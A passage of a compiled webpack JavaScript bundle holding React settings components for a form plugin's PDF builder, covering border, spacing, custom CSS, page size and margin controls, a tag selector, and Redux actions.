return _possibleConstructorReturn(this, (borderCustom.__proto__ || Object.getPrototypeOf(borderCustom)).call(this, props));
}
_createClass(borderCustom, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'div',
{ className: 'sui-row',
style: { marginBottom: '10px' } },
_react2.default.createElement(
_col2.default,
{ cols: '4' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Radius'),
note: (0, _utils.translate)('in px'),
type: 'number',
placeholder: '0',
property: 'form-border-radius'
}))
),
_react2.default.createElement(
_col2.default,
{ cols: '4' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Thickness'),
note: (0, _utils.translate)('in px'),
type: 'number',
placeholder: '0',
property: 'form-border-width'
}))
),
_react2.default.createElement(
_col2.default,
{ cols: '4' },
_react2.default.createElement(
_suiSelect2.default,
_extends({}, this.props, {
property: 'form-border-style',
label: (0, _utils.translate)('Style')
}),
_react2.default.createElement(
'option',
{ value: 'solid' },
(0, _utils.translate)('Solid')
),
_react2.default.createElement(
'option',
{ value: 'dashed' },
(0, _utils.translate)('Dashed')
),
_react2.default.createElement(
'option',
{ value: 'dotted' },
(0, _utils.translate)('Dotted')
),
_react2.default.createElement(
'option',
{ value: 'none' },
(0, _utils.translate)('None')
)
)
)
),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)('Note: Set the color of the border in the Colors settings area above.')
)
);
}
}]);
return borderCustom;
}(_react.Component);
exports.default = borderCustom;
/***/ }),
/* 293 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _input = __webpack_require__(3);
var _input2 = _interopRequireDefault(_input);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var spacingCustom = function (_Component) {
_inherits(spacingCustom, _Component);
function spacingCustom(props) {
_classCallCheck(this, spacingCustom);
return _possibleConstructorReturn(this, (spacingCustom.__proto__ || Object.getPrototypeOf(spacingCustom)).call(this, props));
}
_createClass(spacingCustom, [{
key: 'render',
value: function render() {
return _react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Spacing'),
note: (0, _utils.translate)('in pixels'),
type: 'number',
placeholder: (0, _utils.translate)('0'),
property: (0, _utils.getThemePrefix)(this.props) + 'spacing'
}));
}
}]);
return spacingCustom;
}(_react.Component);
exports.default = spacingCustom;
/***/ }),
/* 294 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _toggle = __webpack_require__(25);
var _toggle2 = _interopRequireDefault(_toggle);
var _aceEditor = __webpack_require__(183);
var _aceEditor2 = _interopRequireDefault(_aceEditor);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var CustomCss = function (_Component) {
_inherits(CustomCss, _Component);
function CustomCss(props) {
_classCallCheck(this, CustomCss);
return _possibleConstructorReturn(this, (CustomCss.__proto__ || Object.getPrototypeOf(CustomCss)).call(this, props));
}
_createClass(CustomCss, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{ className: 'sui-box-settings-row' },
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-1' },
_react2.default.createElement(
'span',
{ className: 'sui-settings-label' },
(0, _utils.translate)('Custom CSS')
),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)('For more advanced customization options use custom CSS.')
)
),
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-2' },
_react2.default.createElement(
'div',
{ className: 'sui-form-field' },
_react2.default.createElement(
'div',
{ style: { marginBottom: '10px' } },
_react2.default.createElement(_toggle2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Enable custom CSS'),
property: 'use-custom-css',
unWrap: true
}))
),
!_.isUndefined(this.props.settings['use-custom-css']) && this.props.settings['use-custom-css'] && _react2.default.createElement(_aceEditor2.default, _extends({}, this.props, {
property: 'custom_css',
type: 'form'
}))
)
)
);
}
}]);
return CustomCss;
}(_react.Component);
exports.default = CustomCss;
/***/ }),
/* 295 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _suiSelect = __webpack_require__(17);
var _suiSelect2 = _interopRequireDefault(_suiSelect);
var _toggle = __webpack_require__(25);
var _toggle2 = _interopRequireDefault(_toggle);
var _col = __webpack_require__(5);
var _col2 = _interopRequireDefault(_col);
var _input = __webpack_require__(3);
var _input2 = _interopRequireDefault(_input);
var _pageMargin = __webpack_require__(296);
var _pageMargin2 = _interopRequireDefault(_pageMargin);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var PageSettings = function (_Component) {
_inherits(PageSettings, _Component);
function PageSettings(props) {
_classCallCheck(this, PageSettings);
return _possibleConstructorReturn(this, (PageSettings.__proto__ || Object.getPrototypeOf(PageSettings)).call(this, props));
}
_createClass(PageSettings, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'div',
{
role: 'alert',
className: 'sui-notice sui-notice-blue sui-active',
'aria-live': 'assertive',
style: { display: 'block' }
},
_react2.default.createElement(
'div',
{ className: 'sui-notice-content' },
_react2.default.createElement(
'div',
{ className: 'sui-notice-message' },
_react2.default.createElement('span', { className: 'sui-notice-icon sui-icon-info', 'aria-hidden': 'true' }),
_react2.default.createElement(
'p',
null,
(0, _utils.translate)('Our PDF builder is constantly improving and we’ll be adding more features over time. ' + 'While the current release has limited customization options, ' + 'we appreciate your patience as we work to bring you the best experience possible. ' + 'Keep an eye out for updates. To manually adjust the appearance of the fields, ' + 'you can enable the Custom CSS option below.')
)
)
)
),
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-row' },
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-1' },
_react2.default.createElement(
'span',
{ className: 'sui-settings-label' },
(0, _utils.translate)('Page settings')
),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)('Configure the PDF file settings')
)
),
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-2' },
_react2.default.createElement(
'label',
{ className: 'sui-settings-label' },
(0, _utils.translate)('Page size')
),
_react2.default.createElement(
'span',
{ className: 'sui-description', style: { marginBottom: '10px' } },
(0, _utils.translate)('Choose the standard paper size for your PDF document. ' + 'The default resolution for each page is set at 96dpi.')
),
_react2.default.createElement(
_suiSelect2.default,
_extends({}, this.props, {
property: 'paper_size',
defaultValue: 'A4'
}),
_.map(forminatorData.pdf_page_sizes, function (size, key) {
return _react2.default.createElement(
'option',
{ key: key, value: key },
size
);
})
),
_react2.default.createElement(
'div',
{ className: 'sui-form-field' },
_react2.default.createElement(_toggle2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Enable RTL (right-to-left)'),
property: 'enable_rtl',
unWrap: true
}))
),
_react2.default.createElement('hr', null),
_react2.default.createElement(_pageMargin2.default, this.props)
)
)
);
}
}]);
return PageSettings;
}(_react.Component);
exports.default = PageSettings;
/***/ }),
/* 296 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _col = __webpack_require__(5);
var _col2 = _interopRequireDefault(_col);
var _input = __webpack_require__(3);
var _input2 = _interopRequireDefault(_input);
var _radioTabs = __webpack_require__(7);
var _radioTabs2 = _interopRequireDefault(_radioTabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
var _suiSelect = __webpack_require__(17);
var _suiSelect2 = _interopRequireDefault(_suiSelect);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var pageMargin = function (_Component) {
_inherits(pageMargin, _Component);
function pageMargin(props) {
_classCallCheck(this, pageMargin);
return _possibleConstructorReturn(this, (pageMargin.__proto__ || Object.getPrototypeOf(pageMargin)).call(this, props));
}
_createClass(pageMargin, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_radioTabs2.default,
_extends({}, this.props, {
property: 'pdf_margin',
divClass: 'pdf-page-margin',
settingsLabel: (0, _utils.translate)('Page Margin'),
'default': 'default',
description: (0, _utils.translate)('Default margin for all paper sizes is 30px. ' + 'Use the custom tab to set a different value.')
}),
_react2.default.createElement(_container2.default, { value: 'default', label: (0, _utils.translate)('Default') }),
_react2.default.createElement(
_container2.default,
{
value: 'custom',
label: (0, _utils.translate)('Custom')
},
_react2.default.createElement(
'div',
{ className: 'sui-border-frame' },
_react2.default.createElement(
'div',
{ className: 'sui-row',
style: { marginBottom: '10px' } },
_react2.default.createElement(
_col2.default,
{ cols: '12' },
_react2.default.createElement(
_suiSelect2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Margin'),
property: 'pdf_margin_unit',
fieldClass: 'fui-select-inline',
fieldsize: '100'
}),
_react2.default.createElement(
'option',
{ value: 'pt' },
'pt'
),
_react2.default.createElement(
'option',
{ value: 'px' },
'px'
),
_react2.default.createElement(
'option',
{ value: 'mm' },
'mm'
),
_react2.default.createElement(
'option',
{ value: 'in' },
'in'
)
)
),
_react2.default.createElement(
_col2.default,
{ cols: '3' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Top'),
type: 'number',
placeholder: '0',
property: 'pdf_margin_top'
}))
),
_react2.default.createElement(
_col2.default,
{ cols: '3' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Bottom'),
type: 'number',
placeholder: '0',
property: 'pdf_margin_bottom'
}))
),
_react2.default.createElement(
_col2.default,
{ cols: '3' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Left'),
type: 'number',
placeholder: '0',
property: 'pdf_margin_left'
}))
),
_react2.default.createElement(
_col2.default,
{ cols: '3' },
_react2.default.createElement(_input2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Right'),
type: 'number',
placeholder: '0',
property: 'pdf_margin_right'
}))
)
)
)
)
);
}
}]);
return pageMargin;
}(_react.Component);
exports.default = pageMargin;
/***/ }),
/* 297 */,
/* 298 */,
/* 299 */,
/* 300 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SuiTags = function (_Component) {
_inherits(SuiTags, _Component);
function SuiTags(props) {
_classCallCheck(this, SuiTags);
var _this = _possibleConstructorReturn(this, (SuiTags.__proto__ || Object.getPrototypeOf(SuiTags)).call(this, props));
_this.handleChange = _this.handleChange.bind(_this);
return _this;
}
_createClass(SuiTags, [{
key: 'componentDidMount',
value: function componentDidMount() {
var self = this;
var value = _.isUndefined(this.props.settings[this.props.property]) ? [] : this.props.settings[this.props.property];
this.$el = jQuery(this.el);
var options = Object.assign({ allowClear: true, dropdownCssClass: 'sui-select-dropdown' }, this.props.options);
if (typeof this.$el.SUIselect2 === 'function') {
this.$el.SUIselect2(options);
} else if (typeof this.$el.FUIselect2 === 'function') {
this.$el.FUIselect2(options);
} else {
console.log('select2 not intiated');
}
this.$el.on('change.select2', this.handleChange);
if (!_.isUndefined(this.props.settings.permission_type) && ('specific' === this.props.settings.permission_type || !_.isUndefined(this.props.settings.user_info))) {
var userInfos = this.props.settings.user_info;
// initial values append
_.each(value, function (option) {
if (!_.isUndefined(userInfos[option])) {
self.$el.append(jQuery('<option value="' + option + '">' + userInfos[option].email + '</option>'));
}
});
} else {
// initial values append
_.each(value, function (option) {
self.$el.append(jQuery('<option value="' + option + '">' + option + '</option>'));
});
}
// initial values on mount
this.$el.val(value).trigger('change.select2');
}
}, {
key: 'componentDidUpdate',
value: function componentDidUpdate(prevProps, prevState) {
if (!_.isUndefined(this.props.settings.user_role) && prevProps.settings.user_role !== this.props.settings.user_role) {
this.$el.val([]).trigger('change.select2');
}
}
}, {
key: 'handleChange',
value: function handleChange(e) {
var value = jQuery(e.target).val();
// Check if we're on field settings
if (typeof this.props.updateProperty === 'function') {
// Update field state
this.props.updateProperty(this.props.property, value);
} else {
// Update store
this.props.actions.settingsActions.updateSetting(this.props.property, value);
}
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
this.$el.off('change', this.handleChange);
this.$el.unbind().removeData();
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var value = _.isUndefined(this.props.settings[this.props.property]) ? [] : this.props.settings[this.props.property];
var fieldLabel = '';
if (this.props.label) {
fieldLabel = _react2.default.createElement(
'label',
{ htmlFor: 'forminator-field-' + this.props.property, className: 'sui-label' },
this.props.label,
this.props.note && _react2.default.createElement(
'span',
{ className: 'sui-label-note' },
this.props.note
)
);
}
return _react2.default.createElement(
'div',
{ className: 'sui-form-field', style: this.props.style },
fieldLabel,
_react2.default.createElement(
'select',
{
ref: function ref(el) {
return _this2.el = el;
},
className: 'sui-select',
defaultValue: value,
multiple: 'multiple'
},
this.props.children
)
);
}
}]);
return SuiTags;
}(_react.Component);
exports.default = SuiTags;
/***/ }),
/* 301 */,
/* 302 */,
/* 303 */,
/* 304 */,
/* 305 */,
/* 306 */,
/* 307 */,
/* 308 */,
/* 309 */,
/* 310 */,
/* 311 */,
/* 312 */,
/* 313 */,
/* 314 */,
/* 315 */,
/* 316 */,
/* 317 */,
/* 318 */,
/* 319 */,
/* 320 */,
/* 321 */,
/* 322 */,
/* 323 */,
/* 324 */,
/* 325 */,
/* 326 */,
/* 327 */,
/* 328 */,
/* 329 */,
/* 330 */,
/* 331 */,
/* 332 */,
/* 333 */,
/* 334 */,
/* 335 */,
/* 336 */,
/* 337 */,
/* 338 */,
/* 339 */,
/* 340 */,
/* 341 */,
/* 342 */,
/* 343 */,
/* 344 */,
/* 345 */,
/* 346 */,
/* 347 */,
/* 348 */,
/* 349 */,
/* 350 */,
/* 351 */,
/* 352 */,
/* 353 */,
/* 354 */,
/* 355 */,
/* 356 */,
/* 357 */,
/* 358 */,
/* 359 */,
/* 360 */,
/* 361 */,
/* 362 */,
/* 363 */,
/* 364 */,
/* 365 */,
/* 366 */,
/* 367 */,
/* 368 */,
/* 369 */,
/* 370 */,
/* 371 */,
/* 372 */,
/* 373 */,
/* 374 */,
/* 375 */,
/* 376 */,
/* 377 */,
/* 378 */,
/* 379 */,
/* 380 */,
/* 381 */,
/* 382 */,
/* 383 */,
/* 384 */,
/* 385 */,
/* 386 */,
/* 387 */,
/* 388 */,
/* 389 */,
/* 390 */,
/* 391 */,
/* 392 */,
/* 393 */,
/* 394 */,
/* 395 */,
/* 396 */,
/* 397 */,
/* 398 */,
/* 399 */,
/* 400 */,
/* 401 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var showModal = exports.showModal = function showModal(modalProps, modalType) {
return function (dispatch) {
dispatch({
type: 'SHOW_MODAL',
modalProps: modalProps,
modalType: modalType
});
};
};
var hideModal = exports.hideModal = function hideModal() {
return function (dispatch) {
dispatch({
type: 'HIDE_MODAL'
});
};
};
/***/ }),
/* 402 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var updatePermissions = exports.updatePermissions = function updatePermissions(permissions) {
return function (dispatch) {
dispatch({
type: 'UPDATE_PERMISSIONS',
permissions: permissions
});
};
};
/***/ }),
/* 403 */,
/* 404 */,
/* 405 */,
/* 406 */,
/* 407 */,
/* 408 */,
/* 409 */,
/* 410 */,
/* 411 */,
/* 412 */,
/* 413 */,
/* 414 */,
/* 415 */,
/* 416 */,
/* 417 */,
/* 418 */,
/* 419 */,
/* 420 */,
/* 421 */,
/* 422 */,
/* 423 */,
/* 424 */,
/* 425 */,
/* 426 */,
/* 427 */,
/* 428 */,
/* 429 */,
/* 430 */,
/* 431 */,
/* 432 */,
/* 433 */,
/* 434 */,
/* 435 */,
/* 436 */,
/* 437 */,
/* 438 */,
/* 439 */,
/* 440 */,
/* 441 */,
/* 442 */,
/* 443 */,
/* 444 */,
/* 445 */,
/* 446 */,
/* 447 */,
/* 448 */,
/* 449 */,
/* 450 */,
/* 451 */,
/* 452 */,
/* 453 */,
/* 454 */,
/* 455 */,
/* 456 */,
/* 457 */,
/* 458 */,
/* 459 */,
/* 460 */,
/* 461 */,
/* 462 */,
/* 463 */,
/* 464 */,
/* 465 */,
/* 466 */,
/* 467 */,
/* 468 */,
/* 469 */,
/* 470 */,
/* 471 */,
/* 472 */,
/* 473 */,
/* 474 */,
/* 475 */,
/* 476 */,
/* 477 */,
/* 478 */,
/* 479 */,
/* 480 */,
/* 481 */,
/* 482 */,
/* 483 */,
/* 484 */,
/* 485 */,
/* 486 */,
/* 487 */,
/* 488 */,
/* 489 */,
/* 490 */,
/* 491 */,
/* 492 */,
/* 493 */,
/* 494 */,
/* 495 */,
/* 496 */,
/* 497 */,
/* 498 */,
/* 499 */,
/* 500 */,
/* 501 */,
/* 502 */,
/* 503 */,
/* 504 */,
/* 505 */,
/* 506 */,
/* 507 */,
/* 508 */,
/* 509 */,
/* 510 */,
/* 511 */,
/* 512 */,
/* 513 */,
/* 514 */,
/* 515 */,
/* 516 */,
/* 517 */,
/* 518 */,
/* 519 */,
/* 520 */,
/* 521 */,
/* 522 */,
/* 523 */,
/* 524 */,
/* 525 */,
/* 526 */,
/* 527 */,
/* 528 */,
/* 529 */,
/* 530 */,
/* 531 */,
/* 532 */,
/* 533 */,
/* 534 */,
/* 535 */,
/* 536 */,
/* 537 */,
/* 538 */,
/* 539 */,
/* 540 */,
/* 541 */,
/* 542 */,
/* 543 */,
/* 544 */,
/* 545 */,
/* 546 */,
/* 547 */,
/* 548 */,
/* 549 */,
/* 550 */,
/* 551 */,
/* 552 */,
/* 553 */,
/* 554 */,
/* 555 */,
/* 556 */,
/* 557 */,
/* 558 */,
/* 559 */,
/* 560 */,
/* 561 */,
/* 562 */,
/* 563 */,
/* 564 */,
/* 565 */,
/* 566 */,
/* 567 */,
/* 568 */,
/* 569 */,
/* 570 */,
/* 571 */,
/* 572 */,
/* 573 */,
/* 574 */,
/* 575 */,
/* 576 */,
/* 577 */,
/* 578 */,
/* 579 */,
/* 580 */,
/* 581 */,
/* 582 */,
/* 583 */,
/* 584 */,
/* 585 */,
/* 586 */,
/* 587 */,
/* 588 */,
/* 589 */,
/* 590 */,
/* 591 */,
/* 592 */,
/* 593 */,
/* 594 */,
/* 595 */,
/* 596 */,
/* 597 */,
/* 598 */,
/* 599 */,
/* 600 */,
/* 601 */,
/* 602 */,
/* 603 */,
/* 604 */,
/* 605 */,
/* 606 */,
/* 607 */,
/* 608 */,
/* 609 */,
/* 610 */,
/* 611 */,
/* 612 */,
/* 613 */,
/* 614 */,
/* 615 */,
/* 616 */,
/* 617 */,
/* 618 */,
/* 619 */,
/* 620 */,
/* 621 */,
/* 622 */,
/* 623 */,
/* 624 */,
/* 625 */,
/* 626 */,
/* 627 */,
/* 628 */,
/* 629 */,
/* 630 */,
/* 631 */,
/* 632 */,
/* 633 */,
/* 634 */,
/* 635 */,
/* 636 */,
/* 637 */,
/* 638 */,
/* 639 */,
/* 640 */,
/* 641 */,
/* 642 */,
/* 643 */,
/* 644 */,
/* 645 */,
/* 646 */,
/* 647 */,
/* 648 */,
/* 649 */,
/* 650 */,
/* 651 */,
/* 652 */,
/* 653 */,
/* 654 */,
/* 655 */,
/* 656 */,
/* 657 */,
/* 658 */,
/* 659 */,
/* 660 */,
/* 661 */,
/* 662 */,
/* 663 */,
/* 664 */,
/* 665 */,
/* 666 */,
/* 667 */,
/* 668 */,
/* 669 */,
/* 670 */,
/* 671 */,
/* 672 */,
/* 673 */,
/* 674 */,
/* 675 */,
/* 676 */,
/* 677 */,
/* 678 */,
/* 679 */,
/* 680 */,
/* 681 */,
/* 682 */,
/* 683 */,
/* 684 */,
/* 685 */,
/* 686 */,
/* 687 */,
/* 688 */,
/* 689 */,
/* 690 */,
/* 691 */,
/* 692 */,
/* 693 */,
/* 694 */,
/* 695 */,
/* 696 */,
/* 697 */,
/* 698 */,
/* 699 */,
/* 700 */,
/* 701 */,
/* 702 */,
/* 703 */,
/* 704 */,
/* 705 */,
/* 706 */,
/* 707 */,
/* 708 */,
/* 709 */,
/* 710 */,
/* 711 */,
/* 712 */,
/* 713 */,
/* 714 */,
/* 715 */,
/* 716 */,
/* 717 */,
/* 718 */,
/* 719 */,
/* 720 */,
/* 721 */,
/* 722 */,
/* 723 */,
/* 724 */,
/* 725 */,
/* 726 */,
/* 727 */,
/* 728 */,
/* 729 */,
/* 730 */,
/* 731 */,
/* 732 */,
/* 733 */,
/* 734 */,
/* 735 */,
/* 736 */,
/* 737 */,
/* 738 */,
/* 739 */,
/* 740 */,
/* 741 */,
/* 742 */,
/* 743 */,
/* 744 */,
/* 745 */,
/* 746 */,
/* 747 */,
/* 748 */,
/* 749 */,
/* 750 */,
/* 751 */,
/* 752 */,
/* 753 */,
/* 754 */,
/* 755 */,
/* 756 */,
/* 757 */,
/* 758 */,
/* 759 */,
/* 760 */,
/* 761 */,
/* 762 */,
/* 763 */,
/* 764 */,
/* 765 */,
/* 766 */,
/* 767 */,
/* 768 */,
/* 769 */,
/* 770 */,
/* 771 */,
/* 772 */,
/* 773 */,
/* 774 */,
/* 775 */,
/* 776 */,
/* 777 */,
/* 778 */,
/* 779 */,
/* 780 */,
/* 781 */,
/* 782 */,
/* 783 */,
/* 784 */,
/* 785 */,
/* 786 */,
/* 787 */,
/* 788 */,
/* 789 */,
/* 790 */,
/* 791 */,
/* 792 */,
/* 793 */,
/* 794 */,
/* 795 */,
/* 796 */,
/* 797 */,
/* 798 */,
/* 799 */,
/* 800 */,
/* 801 */,
/* 802 */,
/* 803 */,
/* 804 */,
/* 805 */,
/* 806 */,
/* 807 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
__webpack_require__(808);
__webpack_require__(809);
/***/ }),
/* 808 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _slicedToArray = function () { function sliceIterator(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"]) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } return function (arr, i) { if (Array.isArray(arr)) { return arr; } else if (Symbol.iterator in Object(arr)) { return sliceIterator(arr, i); } else { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } }; }(); /* jshint esversion: 6 */
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _renderBlock = __webpack_require__(89);
var _configureStore = __webpack_require__(222);
var _configureStore2 = _interopRequireDefault(_configureStore);
var _i18nWpPlugin = __webpack_require__(52);
var _i18nWpPlugin2 = _interopRequireDefault(_i18nWpPlugin);
var _axios = __webpack_require__(39);
var _axios2 = _interopRequireDefault(_axios);
var _qs = __webpack_require__(40);
var _qs2 = _interopRequireDefault(_qs);
var _reactRedux = __webpack_require__(13);
